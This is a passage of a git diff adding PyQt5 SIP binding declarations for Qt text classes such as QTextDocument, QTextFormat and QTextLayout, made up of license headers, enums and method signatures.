info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +namespace Qt +{ +%TypeHeaderCode +#include +%End + + bool mightBeRichText(const QString &); + QString convertFromPlainText(const QString &plain, Qt::WhiteSpaceMode mode = Qt::WhiteSpacePre); +}; + +class QTextDocument : QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QTextDocument(QObject *parent /TransferThis/ = 0); + QTextDocument(const QString &text, QObject *parent /TransferThis/ = 0); + virtual ~QTextDocument(); + QTextDocument *clone(QObject *parent /TransferThis/ = 0) const /Factory/; + bool isEmpty() const; + virtual void clear(); + void setUndoRedoEnabled(bool enable); + bool isUndoRedoEnabled() const; + bool isUndoAvailable() const; + bool isRedoAvailable() const; + void setDocumentLayout(QAbstractTextDocumentLayout *layout /Transfer/); + QAbstractTextDocumentLayout *documentLayout() const; + + enum MetaInformation + { + DocumentTitle, + DocumentUrl, + }; + + void setMetaInformation(QTextDocument::MetaInformation info, const QString &); + QString metaInformation(QTextDocument::MetaInformation info) const; + QString toHtml(const QByteArray &encoding = QByteArray()) const; + void setHtml(const QString &html); + QString toPlainText() const; + void setPlainText(const QString &text); + + enum FindFlag + { + FindBackward, + FindCaseSensitively, + FindWholeWords, + }; + + typedef QFlags FindFlags; + QTextCursor find(const QString &subString, int position = 0, QFlags options = 0) const; + QTextCursor find(const QRegExp &expr, int position = 0, QFlags options = 0) const; +%If (Qt_5_5_0 -) + QTextCursor find(const QRegularExpression &expr, int position = 0, QFlags options = 0) const; +%End + QTextCursor find(const QString &subString, const QTextCursor &cursor, QFlags options = 0) const; + QTextCursor find(const QRegExp &expr, const QTextCursor &cursor, QFlags options = 0) const; +%If (Qt_5_5_0 -) + QTextCursor find(const QRegularExpression &expr, const QTextCursor &cursor, QFlags options = 0) const; +%End + QTextFrame *rootFrame() const; + QTextObject *object(int objectIndex) const; + QTextObject *objectForFormat(const QTextFormat &) const; + QTextBlock findBlock(int pos) const; + QTextBlock begin() const; + QTextBlock end() const; + void setPageSize(const QSizeF &size); + QSizeF pageSize() const; + void setDefaultFont(const QFont &font); + QFont defaultFont() const; + int pageCount() const; + bool isModified() const; +%If (PyQt_Printer) + void print(QPagedPaintDevice *printer) const /PyName=print_/; +%End +%If (Py_v3) +%If (PyQt_Printer) + void print(QPagedPaintDevice *printer) const; +%End +%End + + enum ResourceType + { +%If (Qt_5_14_0 -) + UnknownResource, +%End + HtmlResource, + ImageResource, + StyleSheetResource, +%If (Qt_5_14_0 -) + MarkdownResource, +%End + UserResource, + }; + + QVariant resource(int type, const QUrl &name) const; + void addResource(int type, const QUrl &name, const QVariant &resource); + QVector allFormats() const; + void markContentsDirty(int from, int length); + void setUseDesignMetrics(bool b); + bool useDesignMetrics() const; + +signals: + void blockCountChanged(int newBlockCount); + void contentsChange(int from, int charsRemoves, int charsAdded); + void contentsChanged(); + void cursorPositionChanged(const QTextCursor &cursor); + void modificationChanged(bool m); + void redoAvailable(bool); + void undoAvailable(bool); + +public slots: + void undo(); + void redo(); + void setModified(bool on = true); + +protected: + virtual QTextObject *createObject(const QTextFormat &f) /Factory/; + virtual QVariant loadResource(int type, const QUrl &name); + +public: + void drawContents(QPainter *p, const QRectF &rect = QRectF()); + void setTextWidth(qreal width); + qreal textWidth() const; + qreal idealWidth() const; + void adjustSize(); + QSizeF size() const; + int blockCount() const; + void setDefaultStyleSheet(const QString &sheet); + QString defaultStyleSheet() const; + void undo(QTextCursor *cursor); + void redo(QTextCursor *cursor); + int maximumBlockCount() const; + void setMaximumBlockCount(int maximum); + QTextOption defaultTextOption() const; + void setDefaultTextOption(const QTextOption &option); + int revision() const; + QTextBlock findBlockByNumber(int blockNumber) const; + QTextBlock findBlockByLineNumber(int blockNumber) const; + QTextBlock firstBlock() const; + QTextBlock lastBlock() const; + qreal indentWidth() const; + void setIndentWidth(qreal width); + +signals: + void undoCommandAdded(); + void documentLayoutChanged(); + +public: + QChar characterAt(int pos) const; + qreal documentMargin() const; + void setDocumentMargin(qreal margin); + int lineCount() const; + int characterCount() const; + int availableUndoSteps() const; + int availableRedoSteps() const; + + enum Stacks + { + UndoStack, + RedoStack, + UndoAndRedoStacks, + }; + + void clearUndoRedoStacks(QTextDocument::Stacks stacks = QTextDocument::UndoAndRedoStacks); + Qt::CursorMoveStyle defaultCursorMoveStyle() const; + void setDefaultCursorMoveStyle(Qt::CursorMoveStyle style); +%If (Qt_5_3_0 -) + QUrl baseUrl() const; +%End +%If (Qt_5_3_0 -) + void setBaseUrl(const QUrl &url); +%End + +signals: +%If (Qt_5_3_0 -) + void baseUrlChanged(const QUrl &url); +%End + +public: +%If (Qt_5_9_0 -) + QString toRawText() const; +%End +%If (Qt_5_14_0 -) + + enum MarkdownFeature + { + MarkdownNoHTML, + MarkdownDialectCommonMark, + MarkdownDialectGitHub, + }; + +%End +%If (Qt_5_14_0 -) + typedef QFlags MarkdownFeatures; +%End +%If (Qt_5_14_0 -) + QString toMarkdown(QTextDocument::MarkdownFeatures features = QTextDocument::MarkdownDialectGitHub) const; +%End +%If (Qt_5_14_0 -) + void setMarkdown(const QString &markdown, QTextDocument::MarkdownFeatures features = QTextDocument::MarkdownDialectGitHub); +%End +}; + +QFlags operator|(QTextDocument::FindFlag f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qtextdocumentfragment.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qtextdocumentfragment.sip new file mode 100644 index 00000000..617e3b4a --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qtextdocumentfragment.sip @@ -0,0 +1,41 @@ +// qtextdocumentfragment.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QTextDocumentFragment +{ +%TypeHeaderCode +#include +%End + +public: + QTextDocumentFragment(); + explicit QTextDocumentFragment(const QTextDocument *document); + explicit QTextDocumentFragment(const QTextCursor &range); + QTextDocumentFragment(const QTextDocumentFragment &rhs); + ~QTextDocumentFragment(); + bool isEmpty() const; + QString toPlainText() const; + QString toHtml(const QByteArray &encoding = QByteArray()) const; + static QTextDocumentFragment fromPlainText(const QString &plainText); + static QTextDocumentFragment fromHtml(const QString &html); + static QTextDocumentFragment fromHtml(const QString &html, const QTextDocument *resourceProvider); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qtextdocumentwriter.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qtextdocumentwriter.sip new file mode 100644 index 00000000..4c822445 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qtextdocumentwriter.sip @@ -0,0 +1,48 @@ +// qtextdocumentwriter.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QTextDocumentWriter +{ +%TypeHeaderCode +#include +%End + +public: + QTextDocumentWriter(); + QTextDocumentWriter(QIODevice *device, const QByteArray &format); + QTextDocumentWriter(const QString &fileName, const QByteArray &format = QByteArray()); + ~QTextDocumentWriter(); + void setFormat(const QByteArray &format); + QByteArray format() const; + void setDevice(QIODevice *device); + QIODevice *device() const; + void setFileName(const QString &fileName); + QString fileName() const; + bool write(const QTextDocument *document); + bool write(const QTextDocumentFragment &fragment); + void setCodec(QTextCodec *codec /KeepReference/); + QTextCodec *codec() const; + static QList supportedDocumentFormats(); + +private: + QTextDocumentWriter(const QTextDocumentWriter &); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qtextformat.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qtextformat.sip new file mode 100644 index 00000000..1bd900d7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qtextformat.sip @@ -0,0 +1,746 @@ +// qtextformat.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QTextLength +{ +%TypeHeaderCode +#include +%End + +public: + enum Type + { + VariableLength, + FixedLength, + PercentageLength, + }; + + QTextLength(); + QTextLength::Type type() const; + QTextLength(QTextLength::Type atype, qreal avalue); + qreal value(qreal maximumLength) const; + qreal rawValue() const; + bool operator==(const QTextLength &other) const; + bool operator!=(const QTextLength &other) const; + QTextLength(const QVariant &variant /GetWrapper/) /NoDerived/; +%MethodCode + if (a0->canConvert()) + sipCpp = new QTextLength(a0->value()); + else + sipError = sipBadCallableArg(0, a0Wrapper); +%End +}; + +QDataStream &operator<<(QDataStream &, const QTextLength & /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QTextLength & /Constrained/) /ReleaseGIL/; + +class QTextFormat +{ +%TypeHeaderCode +#include +%End + +public: + enum FormatType + { + InvalidFormat, + BlockFormat, + CharFormat, + ListFormat, + TableFormat, + FrameFormat, + UserFormat, + }; + + enum ObjectTypes + { + NoObject, + ImageObject, + TableObject, + TableCellObject, + UserObject, + }; + + enum PageBreakFlag + { + PageBreak_Auto, + PageBreak_AlwaysBefore, + PageBreak_AlwaysAfter, + }; + + typedef QFlags PageBreakFlags; + + enum Property + { + ObjectIndex, + CssFloat, + LayoutDirection, + OutlinePen, + BackgroundBrush, + ForegroundBrush, + BlockAlignment, + BlockTopMargin, + BlockBottomMargin, + BlockLeftMargin, + BlockRightMargin, + TextIndent, + BlockIndent, + BlockNonBreakableLines, + BlockTrailingHorizontalRulerWidth, + FontFamily, + FontPointSize, + FontSizeAdjustment, + FontSizeIncrement, + FontWeight, + FontItalic, + FontUnderline, + FontOverline, + FontStrikeOut, + FontFixedPitch, + FontPixelSize, + TextUnderlineColor, + TextVerticalAlignment, + TextOutline, + IsAnchor, + AnchorHref, + AnchorName, + ObjectType, + ListStyle, + ListIndent, + FrameBorder, + FrameMargin, + FramePadding, + FrameWidth, + FrameHeight, + TableColumns, + TableColumnWidthConstraints, + TableCellSpacing, + TableCellPadding, + TableCellRowSpan, + TableCellColumnSpan, + ImageName, + ImageWidth, + ImageHeight, + TextUnderlineStyle, + TableHeaderRowCount, + FullWidthSelection, + PageBreakPolicy, + TextToolTip, + FrameTopMargin, + FrameBottomMargin, + FrameLeftMargin, + FrameRightMargin, + FrameBorderBrush, + FrameBorderStyle, + BackgroundImageUrl, + TabPositions, + FirstFontProperty, + FontCapitalization, + FontLetterSpacing, + FontWordSpacing, + LastFontProperty, + TableCellTopPadding, + TableCellBottomPadding, + TableCellLeftPadding, + TableCellRightPadding, + FontStyleHint, + FontStyleStrategy, + FontKerning, + LineHeight, + LineHeightType, + FontHintingPreference, + ListNumberPrefix, + ListNumberSuffix, + FontStretch, + FontLetterSpacingType, +%If (Qt_5_12_0 -) + HeadingLevel, +%End +%If (Qt_5_12_0 -) + ImageQuality, +%End +%If (Qt_5_13_0 -) + FontFamilies, +%End +%If (Qt_5_13_0 -) + FontStyleName, +%End +%If (Qt_5_14_0 -) + BlockQuoteLevel, +%End +%If (Qt_5_14_0 -) + BlockCodeLanguage, +%End +%If (Qt_5_14_0 -) + BlockCodeFence, +%End +%If (Qt_5_14_0 -) + BlockMarker, +%End +%If (Qt_5_14_0 -) + TableBorderCollapse, +%End +%If (Qt_5_14_0 -) + TableCellTopBorder, +%End +%If (Qt_5_14_0 -) + TableCellBottomBorder, +%End +%If (Qt_5_14_0 -) + TableCellLeftBorder, +%End +%If (Qt_5_14_0 -) + TableCellRightBorder, +%End +%If (Qt_5_14_0 -) + TableCellTopBorderStyle, +%End +%If (Qt_5_14_0 -) + TableCellBottomBorderStyle, +%End +%If (Qt_5_14_0 -) + TableCellLeftBorderStyle, +%End +%If (Qt_5_14_0 -) + TableCellRightBorderStyle, +%End +%If (Qt_5_14_0 -) + TableCellTopBorderBrush, +%End +%If (Qt_5_14_0 -) + TableCellBottomBorderBrush, +%End +%If (Qt_5_14_0 -) + TableCellLeftBorderBrush, +%End +%If (Qt_5_14_0 -) + TableCellRightBorderBrush, +%End +%If (Qt_5_14_0 -) + ImageTitle, +%End +%If (Qt_5_14_0 -) + ImageAltText, +%End + UserProperty, + }; + + QTextFormat(); + explicit QTextFormat(int type); + QTextFormat(const QTextFormat &rhs); + QTextFormat(const QVariant &variant /GetWrapper/) /NoDerived/; +%MethodCode + if (a0->canConvert()) + sipCpp = new QTextFormat(a0->value()); + else + sipError = sipBadCallableArg(0, a0Wrapper); +%End + + ~QTextFormat(); + void merge(const QTextFormat &other); + bool isValid() const; + int type() const; + int objectIndex() const; + void setObjectIndex(int object); + QVariant property(int propertyId) const; + void setProperty(int propertyId, const QVariant &value); + void clearProperty(int propertyId); + bool hasProperty(int propertyId) const; + bool boolProperty(int propertyId) const; + int intProperty(int propertyId) const; + qreal doubleProperty(int propertyId) const; + QString stringProperty(int propertyId) const; + QColor colorProperty(int propertyId) const; + QPen penProperty(int propertyId) const; + QBrush brushProperty(int propertyId) const; + QTextLength lengthProperty(int propertyId) const; + QVector lengthVectorProperty(int propertyId) const; + void setProperty(int propertyId, const QVector &lengths); + QMap properties() const; + int objectType() const; + bool isCharFormat() const; + bool isBlockFormat() const; + bool isListFormat() const; + bool isFrameFormat() const; + bool isImageFormat() const; + bool isTableFormat() const; + QTextBlockFormat toBlockFormat() const; + QTextCharFormat toCharFormat() const; + QTextListFormat toListFormat() const; + QTextTableFormat toTableFormat() const; + QTextFrameFormat toFrameFormat() const; + QTextImageFormat toImageFormat() const; + bool operator==(const QTextFormat &rhs) const; + bool operator!=(const QTextFormat &rhs) const; + void setLayoutDirection(Qt::LayoutDirection direction); + Qt::LayoutDirection layoutDirection() const; + void setBackground(const QBrush &brush); + QBrush background() const; + void clearBackground(); + void setForeground(const QBrush &brush); + QBrush foreground() const; + void clearForeground(); + void setObjectType(int atype); + int propertyCount() const; + bool isTableCellFormat() const; + QTextTableCellFormat toTableCellFormat() const; + void swap(QTextFormat &other /Constrained/); +%If (Qt_5_3_0 -) + bool isEmpty() const; +%End +}; + +QDataStream &operator<<(QDataStream &, const QTextFormat & /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QTextFormat & /Constrained/) /ReleaseGIL/; + +class QTextCharFormat : QTextFormat +{ +%TypeHeaderCode +#include +%End + +public: + enum VerticalAlignment + { + AlignNormal, + AlignSuperScript, + AlignSubScript, + AlignMiddle, + AlignTop, + AlignBottom, + AlignBaseline, + }; + + QTextCharFormat(); + bool isValid() const; + void setFont(const QFont &font); + QFont font() const; + void setFontFamily(const QString &family); + QString fontFamily() const; + void setFontPointSize(qreal size); + qreal fontPointSize() const; + void setFontWeight(int weight); + int fontWeight() const; + void setFontItalic(bool italic); + bool fontItalic() const; + void setFontUnderline(bool underline); + bool fontUnderline() const; + void setFontOverline(bool overline); + bool fontOverline() const; + void setFontStrikeOut(bool strikeOut); + bool fontStrikeOut() const; + void setUnderlineColor(const QColor &color); + QColor underlineColor() const; + void setFontFixedPitch(bool fixedPitch); + bool fontFixedPitch() const; + void setVerticalAlignment(QTextCharFormat::VerticalAlignment alignment); + QTextCharFormat::VerticalAlignment verticalAlignment() const; + void setAnchor(bool anchor); + bool isAnchor() const; + void setAnchorHref(const QString &value); + QString anchorHref() const; + int tableCellRowSpan() const; + int tableCellColumnSpan() const; + void setTableCellRowSpan(int atableCellRowSpan); + void setTableCellColumnSpan(int atableCellColumnSpan); + void setTextOutline(const QPen &pen); + QPen textOutline() const; + + enum UnderlineStyle + { + NoUnderline, + SingleUnderline, + DashUnderline, + DotLine, + DashDotLine, + DashDotDotLine, + WaveUnderline, + SpellCheckUnderline, + }; + + void setUnderlineStyle(QTextCharFormat::UnderlineStyle style); + QTextCharFormat::UnderlineStyle underlineStyle() const; + void setToolTip(const QString &tip); + QString toolTip() const; + void setAnchorNames(const QStringList &names); + QStringList anchorNames() const; + void setFontCapitalization(QFont::Capitalization capitalization); + QFont::Capitalization fontCapitalization() const; + void setFontLetterSpacing(qreal spacing); + qreal fontLetterSpacing() const; + void setFontWordSpacing(qreal spacing); + qreal fontWordSpacing() const; + void setFontStyleHint(QFont::StyleHint hint, QFont::StyleStrategy strategy = QFont::PreferDefault); + void setFontStyleStrategy(QFont::StyleStrategy strategy); + QFont::StyleHint fontStyleHint() const; + QFont::StyleStrategy fontStyleStrategy() const; + void setFontKerning(bool enable); + bool fontKerning() const; + void setFontHintingPreference(QFont::HintingPreference hintingPreference); + QFont::HintingPreference fontHintingPreference() const; + int fontStretch() const; + void setFontStretch(int factor); + void setFontLetterSpacingType(QFont::SpacingType letterSpacingType); + QFont::SpacingType fontLetterSpacingType() const; +%If (Qt_5_3_0 -) + + enum FontPropertiesInheritanceBehavior + { + FontPropertiesSpecifiedOnly, + FontPropertiesAll, + }; + +%End +%If (Qt_5_3_0 -) + void setFont(const QFont &font, QTextCharFormat::FontPropertiesInheritanceBehavior behavior); +%End +%If (Qt_5_13_0 -) + void setFontFamilies(const QStringList &families); +%End +%If (Qt_5_13_0 -) + QVariant fontFamilies() const; +%End +%If (Qt_5_13_0 -) + void setFontStyleName(const QString &styleName); +%End +%If (Qt_5_13_0 -) + QVariant fontStyleName() const; +%End +}; + +class QTextBlockFormat : QTextFormat +{ +%TypeHeaderCode +#include +%End + +public: + QTextBlockFormat(); + bool isValid() const; + Qt::Alignment alignment() const; + void setTopMargin(qreal margin); + qreal topMargin() const; + void setBottomMargin(qreal margin); + qreal bottomMargin() const; + void setLeftMargin(qreal margin); + qreal leftMargin() const; + void setRightMargin(qreal margin); + qreal rightMargin() const; + void setTextIndent(qreal margin); + qreal textIndent() const; + int indent() const; + void setNonBreakableLines(bool b); + bool nonBreakableLines() const; + void setAlignment(Qt::Alignment aalignment); + void setIndent(int aindent); + void setPageBreakPolicy(QTextFormat::PageBreakFlags flags); + QTextFormat::PageBreakFlags pageBreakPolicy() const; + void setTabPositions(const QList &tabs); + QList tabPositions() const; + + enum LineHeightTypes + { + SingleHeight, + ProportionalHeight, + FixedHeight, + MinimumHeight, + LineDistanceHeight, + }; + + void setLineHeight(qreal height, int heightType); + qreal lineHeight() const; + qreal lineHeight(qreal scriptLineHeight, qreal scaling = 1.) const; + int lineHeightType() const; +%If (Qt_5_12_0 -) + void setHeadingLevel(int alevel); +%End +%If (Qt_5_12_0 -) + int headingLevel() const; +%End +%If (Qt_5_14_0 -) + + enum class MarkerType + { + NoMarker, + Unchecked, + Checked, + }; + +%End +%If (Qt_5_14_0 -) + void setMarker(QTextBlockFormat::MarkerType marker); +%End +%If (Qt_5_14_0 -) + QTextBlockFormat::MarkerType marker() const; +%End +}; + +class QTextListFormat : QTextFormat +{ +%TypeHeaderCode +#include +%End + +public: + QTextListFormat(); + bool isValid() const; + + enum Style + { + ListDisc, + ListCircle, + ListSquare, + ListDecimal, + ListLowerAlpha, + ListUpperAlpha, + ListLowerRoman, + ListUpperRoman, + }; + + QTextListFormat::Style style() const; + int indent() const; + void setStyle(QTextListFormat::Style astyle); + void setIndent(int aindent); + QString numberPrefix() const; + QString numberSuffix() const; + void setNumberPrefix(const QString &np); + void setNumberSuffix(const QString &ns); +}; + +class QTextImageFormat : QTextCharFormat +{ +%TypeHeaderCode +#include +%End + +public: + QTextImageFormat(); + bool isValid() const; + QString name() const; + qreal width() const; + qreal height() const; +%If (Qt_5_12_0 -) + int quality() const; +%End + void setName(const QString &aname); + void setWidth(qreal awidth); + void setHeight(qreal aheight); +%If (Qt_5_12_0 -) + void setQuality(int quality = 100); +%End +}; + +class QTextFrameFormat : QTextFormat +{ +%TypeHeaderCode +#include +%End + +public: + QTextFrameFormat(); + bool isValid() const; + + enum Position + { + InFlow, + FloatLeft, + FloatRight, + }; + + void setPosition(QTextFrameFormat::Position f); + QTextFrameFormat::Position position() const; + qreal border() const; + qreal margin() const; + qreal padding() const; + void setWidth(const QTextLength &length); + QTextLength width() const; + QTextLength height() const; + void setBorder(qreal aborder); + void setMargin(qreal amargin); + void setPadding(qreal apadding); + void setWidth(qreal awidth); + void setHeight(qreal aheight); + void setHeight(const QTextLength &aheight); + void setPageBreakPolicy(QTextFormat::PageBreakFlags flags); + QTextFormat::PageBreakFlags pageBreakPolicy() const; + + enum BorderStyle + { + BorderStyle_None, + BorderStyle_Dotted, + BorderStyle_Dashed, + BorderStyle_Solid, + BorderStyle_Double, + BorderStyle_DotDash, + BorderStyle_DotDotDash, + BorderStyle_Groove, + BorderStyle_Ridge, + BorderStyle_Inset, + BorderStyle_Outset, + }; + + void setBorderBrush(const QBrush &brush); + QBrush borderBrush() const; + void setBorderStyle(QTextFrameFormat::BorderStyle style); + QTextFrameFormat::BorderStyle borderStyle() const; + qreal topMargin() const; + qreal bottomMargin() const; + qreal leftMargin() const; + qreal rightMargin() const; + void setTopMargin(qreal amargin); + void setBottomMargin(qreal amargin); + void setLeftMargin(qreal amargin); + void setRightMargin(qreal amargin); +}; + +class QTextTableFormat : QTextFrameFormat +{ +%TypeHeaderCode +#include +%End + +public: + QTextTableFormat(); + bool isValid() const; + int columns() const; + void setColumnWidthConstraints(const QVector &constraints); + QVector columnWidthConstraints() const; + void clearColumnWidthConstraints(); + qreal cellSpacing() const; + void setCellSpacing(qreal spacing); + qreal cellPadding() const; + Qt::Alignment alignment() const; + void setColumns(int acolumns); + void setCellPadding(qreal apadding); + void setAlignment(Qt::Alignment aalignment); + void setHeaderRowCount(int count); + int headerRowCount() const; +%If (Qt_5_14_0 -) + void setBorderCollapse(bool borderCollapse); +%End +%If (Qt_5_14_0 -) + bool borderCollapse() const; +%End +}; + +QFlags operator|(QTextFormat::PageBreakFlag f1, QFlags f2); + +class QTextTableCellFormat : QTextCharFormat +{ +%TypeHeaderCode +#include +%End + +public: + QTextTableCellFormat(); + bool isValid() const; + void setTopPadding(qreal padding); + qreal topPadding() const; + void setBottomPadding(qreal padding); + qreal bottomPadding() const; + void setLeftPadding(qreal padding); + qreal leftPadding() const; + void setRightPadding(qreal padding); + qreal rightPadding() const; + void setPadding(qreal padding); +%If (Qt_5_14_0 -) + void setTopBorder(qreal width); +%End +%If (Qt_5_14_0 -) + qreal topBorder() const; +%End +%If (Qt_5_14_0 -) + void setBottomBorder(qreal width); +%End +%If (Qt_5_14_0 -) + qreal bottomBorder() const; +%End +%If (Qt_5_14_0 -) + void setLeftBorder(qreal width); +%End +%If (Qt_5_14_0 -) + qreal leftBorder() const; +%End +%If (Qt_5_14_0 -) + void setRightBorder(qreal width); +%End +%If (Qt_5_14_0 -) + qreal rightBorder() const; +%End +%If (Qt_5_14_0 -) + void setBorder(qreal width); +%End +%If (Qt_5_14_0 -) + void setTopBorderStyle(QTextFrameFormat::BorderStyle style); +%End +%If (Qt_5_14_0 -) + QTextFrameFormat::BorderStyle topBorderStyle() const; +%End +%If (Qt_5_14_0 -) + void setBottomBorderStyle(QTextFrameFormat::BorderStyle style); +%End +%If (Qt_5_14_0 -) + QTextFrameFormat::BorderStyle bottomBorderStyle() const; +%End +%If (Qt_5_14_0 -) + void setLeftBorderStyle(QTextFrameFormat::BorderStyle style); +%End +%If (Qt_5_14_0 -) + QTextFrameFormat::BorderStyle leftBorderStyle() const; +%End +%If (Qt_5_14_0 -) + void setRightBorderStyle(QTextFrameFormat::BorderStyle style); +%End +%If (Qt_5_14_0 -) + QTextFrameFormat::BorderStyle rightBorderStyle() const; +%End +%If (Qt_5_14_0 -) + void setBorderStyle(QTextFrameFormat::BorderStyle style); +%End +%If (Qt_5_14_0 -) + void setTopBorderBrush(const QBrush &brush); +%End +%If (Qt_5_14_0 -) + QBrush topBorderBrush() const; +%End +%If (Qt_5_14_0 -) + void setBottomBorderBrush(const QBrush &brush); +%End +%If (Qt_5_14_0 -) + QBrush bottomBorderBrush() const; +%End +%If (Qt_5_14_0 -) + void setLeftBorderBrush(const QBrush &brush); +%End +%If (Qt_5_14_0 -) + QBrush leftBorderBrush() const; +%End +%If (Qt_5_14_0 -) + void setRightBorderBrush(const QBrush &brush); +%End +%If (Qt_5_14_0 -) + QBrush rightBorderBrush() const; +%End +%If (Qt_5_14_0 -) + void setBorderBrush(const QBrush &brush); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qtextlayout.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qtextlayout.sip new file mode 100644 index 00000000..db42d057 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qtextlayout.sip @@ -0,0 +1,185 @@ +// qtextlayout.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QTextInlineObject +{ +%TypeHeaderCode +#include +%End + +public: + bool isValid() const; + QRectF rect() const; + qreal width() const; + qreal ascent() const; + qreal descent() const; + qreal height() const; + Qt::LayoutDirection textDirection() const; + void setWidth(qreal w); + void setAscent(qreal a); + void setDescent(qreal d); + int textPosition() const; + int formatIndex() const; + QTextFormat format() const; +}; + +class QTextLayout +{ +%TypeHeaderCode +#include +%End + +public: + QTextLayout(); + QTextLayout(const QString &text); + QTextLayout(const QString &text, const QFont &font, QPaintDevice *paintDevice = 0); + QTextLayout(const QTextBlock &b); + ~QTextLayout(); + void setFont(const QFont &f); + QFont font() const; + void setText(const QString &string); + QString text() const; + void setTextOption(const QTextOption &option); + const QTextOption &textOption() const; + void setPreeditArea(int position, const QString &text); + int preeditAreaPosition() const; + QString preeditAreaText() const; + + struct FormatRange + { +%TypeHeaderCode +#include +%End + + int start; + int length; + QTextCharFormat format; + }; + + void setAdditionalFormats(const QList &overrides); + QList additionalFormats() const; + void clearAdditionalFormats(); + void setCacheEnabled(bool enable); + bool cacheEnabled() const; + void beginLayout(); + void endLayout(); + QTextLine createLine(); + int lineCount() const; + QTextLine lineAt(int i) const; + QTextLine lineForTextPosition(int pos) const; + + enum CursorMode + { + SkipCharacters, + SkipWords, + }; + + bool isValidCursorPosition(int pos) const; + int nextCursorPosition(int oldPos, QTextLayout::CursorMode mode = QTextLayout::SkipCharacters) const; + int previousCursorPosition(int oldPos, QTextLayout::CursorMode mode = QTextLayout::SkipCharacters) const; + void draw(QPainter *p, const QPointF &pos, const QVector &selections = QVector(), const QRectF &clip = QRectF()) const; + void drawCursor(QPainter *p, const QPointF &pos, int cursorPosition) const; + void drawCursor(QPainter *p, const QPointF &pos, int cursorPosition, int width) const; + QPointF position() const; + void setPosition(const QPointF &p); + QRectF boundingRect() const; + qreal minimumWidth() const; + qreal maximumWidth() const; + void clearLayout(); + void setCursorMoveStyle(Qt::CursorMoveStyle style); + Qt::CursorMoveStyle cursorMoveStyle() const; + int leftCursorPosition(int oldPos) const; + int rightCursorPosition(int oldPos) const; +%If (PyQt_RawFont) + QList glyphRuns(int from = -1, int length = -1) const; +%End +%If (Qt_5_6_0 -) + void setFormats(const QVector &overrides); +%End +%If (Qt_5_6_0 -) + QVector formats() const; +%End +%If (Qt_5_6_0 -) + void clearFormats(); +%End + +private: + QTextLayout(const QTextLayout &); +}; + +class QTextLine +{ +%TypeHeaderCode +#include +%End + +public: + QTextLine(); + bool isValid() const; + QRectF rect() const; + qreal x() const; + qreal y() const; + qreal width() const; + qreal ascent() const; + qreal descent() const; + qreal height() const; + qreal naturalTextWidth() const; + QRectF naturalTextRect() const; + + enum Edge + { + Leading, + Trailing, + }; + + enum CursorPosition + { + CursorBetweenCharacters, + CursorOnCharacter, + }; + + qreal 